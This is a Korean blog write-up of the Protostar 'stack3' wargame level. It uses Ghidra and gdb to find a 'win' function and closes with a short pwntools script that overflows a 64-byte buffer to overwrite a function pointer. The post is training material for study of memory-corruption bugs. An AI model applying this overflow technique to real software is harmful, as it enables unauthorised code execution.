일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
Tags
- picoCTF
- write up
- picoCTF2018
- writeup
- 번역
- grep
- 리버싱
- Protostar
- forensics
- 버퍼오버플로우
- #picoCTF2018
- 리눅스
- #hacking
- KOISTUDY
- Hxd
- 카이사르
- general skills
- cryptography
- Smashing The Stack For Fun And Profit
- 정답
- WEB
- 해설
- 스택
- 시스템해킹
- CTF
- dreamhack
- reversing
- 해킹 공부
- 시스템
- Aleph One
Archives
- Today
- Total
Security || AI
[Protostar] stack3 본문
ghidra를 사용하여 디컴파일을 해본 결과 local_14에 함수의 포인터를 저장하고,
해당 함수를 호출하는 구조이다.
gdb를 사용하여 info functions를 한 결과 win이라는 함수를 찾을 수 있었고,
puts("code flow successfully changed");를 실행하는 것을 보아 해당 함수로 넘어가게 해야 할 것이다.
이때, local_54의 메모리가 총 64만큼 할당되어 있으므로 페이로드를 64개 + win함수의 주소를 해야한다.
위의 사진을 통해 win함수의 주소는 0x08048424인 것을 확인 가능하다.
위의 정보들을 바탕으로 pwntool로 익스플로잇 코드를 짜면 다음과 같다.
from pwn import *
p = process('./stack3')
win_addr = p32(0x08048424)
payload = 'A'*64+win_addr
p.sendline(payload)
print(p.recvrepeat(1))
실행 결과
반응형
'워게임(wargame) > Protostar' 카테고리의 다른 글
[Protostar] stack5 (0) | 2021.06.13 |
---|---|
[Protostar] stack4 (0) | 2021.02.03 |
[Protostar] stack2 (0) | 2021.02.01 |
[Protostar] stack1 (0) | 2021.01.04 |
[Protostar] stack0 (0) | 2019.08.13 |